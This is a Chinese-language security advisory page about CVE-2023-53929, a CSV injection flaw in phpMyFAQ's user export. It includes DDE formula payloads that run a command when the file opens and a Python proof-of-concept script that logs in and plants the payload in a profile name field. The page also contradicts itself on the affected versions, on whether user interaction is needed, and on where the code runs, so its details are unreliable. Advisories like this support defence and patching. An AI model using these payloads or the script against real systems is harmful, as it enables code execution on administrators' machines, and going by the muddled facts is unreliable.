IPBUF安全漏洞报告
English
CVE-2023-53929 CVSS 8.8 高危

CVE-2023-53929: phpMyFAQ CSV注入漏洞导致远程代码执行

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53929
漏洞类型
CSV注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ 3.1.12

相关标签

CSV注入代码执行phpMyFAQCVE-2023-53929高危漏洞注入攻击权限提升数据导出漏洞

漏洞概述

CVE-2023-53929是phpMyFAQ 3.1.12版本中存在的一个高危CSV注入漏洞。该漏洞允许经过身份验证的低权限用户在个人资料名称字段中注入恶意公式,当管理员将用户数据导出为CSV文件并在Microsoft Excel或其他电子表格软件中打开时,会触发公式执行,从而可能导致远程代码执行。CVSS评分8.8,属于高危漏洞,攻击复杂度低,无需用户交互即可实现攻击。攻击者可以利用此漏洞获取服务器控制权限,或在受害者机器上执行任意命令。该漏洞影响phpMyFAQ系统的机密性、完整性和可用性,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H。建议用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞源于phpMyFAQ在导出用户数据时未对用户输入进行充分的输入验证和输出编码。攻击流程如下:1) 攻击者以低权限用户身份登录phpMyFAQ系统;2) 修改个人资料中的用户名称字段,注入恶意CSV公式,如'calc|a!z|'或'=cmd|'/c calc'!A0等;3) 当管理员访问用户管理界面并执行CSV导出功能时,系统会将包含恶意公式的用户数据导出为CSV文件;4) 管理员在Microsoft Excel、WPS或其他电子表格软件中打开该CSV文件时,软件会尝试解析并执行公式;5) 在旧版本的Excel中,公式可以直接执行系统命令,导致远程代码执行。攻击者利用CSV注入技术绕过安全限制,通过电子表格软件的公式解析功能实现代码执行。这是一种典型的注入攻击,依赖于应用程序对用户输入的不当处理。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标系统运行phpMyFAQ 3.1.12版本,确定攻击面
STEP 2
步骤2
初始访问:攻击者以低权限用户身份注册或登录phpMyFAQ系统
STEP 3
步骤3
载荷植入:攻击者修改个人资料中的真实姓名字段,注入恶意CSV公式(如'=cmd|'/c calc'!A0'或'calc|a!z|')
STEP 4
步骤4
等待触发:攻击者等待具有管理员权限的用户访问用户管理界面并执行CSV导出功能
STEP 5
步骤5
载荷执行:管理员导出包含恶意公式的用户数据为CSV文件,并在Microsoft Excel等软件中打开
STEP 6
步骤6
代码执行:电子表格软件解析并执行恶意公式,在受害者机器上触发代码执行
STEP 7
步骤7
权限提升:攻击者通过代码执行获得系统级访问权限,完全控制目标服务器或用户主机

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2023-53929 PoC - phpMyFAQ CSV Injection This PoC demonstrates the CSV injection vulnerability in phpMyFAQ 3.1.12 """ import requests import re # Configuration TARGET_URL = "http://target-ip/phpmyfaq" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payload for CSV injection # This payload will execute calc.exe when opened in vulnerable Excel versions CSV_PAYLOAD = "=cmd|'/c calc'!A0" # Alternative payload using pipe syntax CSV_PAYLOAD_ALT = "calc|a!z|" def login(session, username, password): """Login to phpMyFAQ and return session cookies""" login_url = f"{TARGET_URL}/index.php" data = { "action": "login", "username": username, "password": password } response = session.post(login_url, data=data) return session if "login" not in response.url else None def inject_payload(session, payload): """Inject malicious CSV payload into user profile name""" profile_url = f"{TARGET_URL}/index.php?action=edituser" data = { "realname": payload, "submit": "Save" } response = session.post(profile_url, data=data) return "success" in response.text.lower() def export_users_csv(session): """Trigger CSV export of user data (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/index.php?action=exportusers" response = session.get(export_url) return response.content def main(): print(f"[*] CVE-2023-53929 PoC - phpMyFAQ CSV Injection") print(f"[*] Target: {TARGET_URL}") session = requests.Session() # Step 1: Login as low-privilege user print("\n[1] Authenticating as low-privilege user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed") return print("[+] Login successful") # Step 2: Inject malicious payload into profile name print(f"\n[2] Injecting payload: {CSV_PAYLOAD}") if inject_payload(session, CSV_PAYLOAD): print("[+] Payload injected successfully") else: print("[-] Failed to inject payload") # Step 3: Notify admin to export users print("\n[3] Payload planted. When admin exports users to CSV,") print(" the malicious formula will be triggered in Excel.") print("\n[*] Attack complete. Awaiting admin action...") if __name__ == "__main__": main()

影响范围

phpMyFAQ < 3.1.12

防御指南

临时缓解措施
在phpMyFAQ官方修复版本发布之前,可采取以下临时缓解措施:1) 禁用CSV导出功能或限制只有受信任的管理员可以使用;2) 在用户输入环节对特殊字符进行过滤,特别是=、+、-、@等CSV公式启动字符;3) 对导出的CSV文件添加前缀字符(如单引号'或制表符)以防止公式自动执行;4) 提醒管理员在打开CSV文件前使用文本编辑器检查内容;5) 考虑使用WPS表格等较新版本的电子表格软件,它们默认禁用自动公式执行;6) 监控用户资料修改日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表